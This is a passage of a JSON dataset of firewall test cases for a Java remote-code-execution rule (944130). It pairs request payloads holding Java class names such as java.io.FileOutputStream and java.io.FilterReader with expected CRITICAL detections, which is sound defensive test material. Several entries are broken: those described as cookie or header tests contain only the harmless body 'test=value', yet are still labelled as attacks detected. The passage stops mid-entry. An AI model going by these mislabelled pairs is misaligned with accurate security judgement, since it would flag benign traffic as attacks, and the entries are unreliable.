"name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Content-Type application/json arg value includes keyword java.io.FileOutputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"java.io.FileOutputStream\": \"test\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Content-Type application/json arg name includes keyword java.io.FileOutputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=java.io.FilterInputStream" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Argument test includes keyword java.io.FilterInputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "java.io.FilterInputStream=test" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Argument name includes keyword java.io.FilterInputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Cookie test includes keyword java.io.FilterInputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Cookie name includes keyword java.io.FilterInputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Request header test includes keyword java.io.FilterInputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"java.io.FilterInputStream\">element_value</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "XML attribute value includes keyword java.io.FilterInputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"attribute_value\">java.io.FilterInputStream</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "XML element value includes keyword java.io.FilterInputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><l1><l2><l3><element attribute_name=\"attribute_value\">java.io.FilterInputStream</element></l3></l2></l1></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Nested XML element value includes keyword java.io.FilterInputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=java.io.FilterInputStream" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Content-Type text/plain includes keyword java.io.FilterInputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"test\": \"java.io.FilterInputStream\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Content-Type application/json arg value includes keyword java.io.FilterInputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"java.io.FilterInputStream\": \"test\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Content-Type application/json arg name includes keyword java.io.FilterInputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=java.io.FilterOutputStream" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Argument test includes keyword java.io.FilterOutputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "java.io.FilterOutputStream=test" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Argument name includes keyword java.io.FilterOutputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Cookie test includes keyword java.io.FilterOutputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Cookie name includes keyword java.io.FilterOutputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Request header test includes keyword java.io.FilterOutputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"java.io.FilterOutputStream\">element_value</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "XML attribute value includes keyword java.io.FilterOutputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"attribute_value\">java.io.FilterOutputStream</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "XML element value includes keyword java.io.FilterOutputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><l1><l2><l3><element attribute_name=\"attribute_value\">java.io.FilterOutputStream</element></l3></l2></l1></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Nested XML element value includes keyword java.io.FilterOutputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=java.io.FilterOutputStream" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Content-Type text/plain includes keyword java.io.FilterOutputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"test\": \"java.io.FilterOutputStream\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Content-Type application/json arg value includes keyword java.io.FilterOutputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"java.io.FilterOutputStream\": \"test\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Content-Type application/json arg name includes keyword java.io.FilterOutputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=java.io.FilterReader" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Argument test includes keyword java.io.FilterReader" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "java.io.FilterReader=test" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Argument name includes keyword java.io.FilterReader" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Cookie test includes keyword java.io.FilterReader" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Cookie name includes keyword java.io.FilterReader" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Request header test includes keyword java.io.FilterReader" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"java.io.FilterReader\">element_value</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "XML attribute value includes keyword java.io.FilterReader" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"attribute_value\">java.io.FilterReader</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "XML element value includes keyword java.io.FilterReader" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><l1><l2><l3><element attribute_name=\"attribute_value\">java.io.FilterReader</element></l3></l2></l1></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Nested XML element value includes keyword java.io.FilterReader" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=java.io.FilterReader" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", 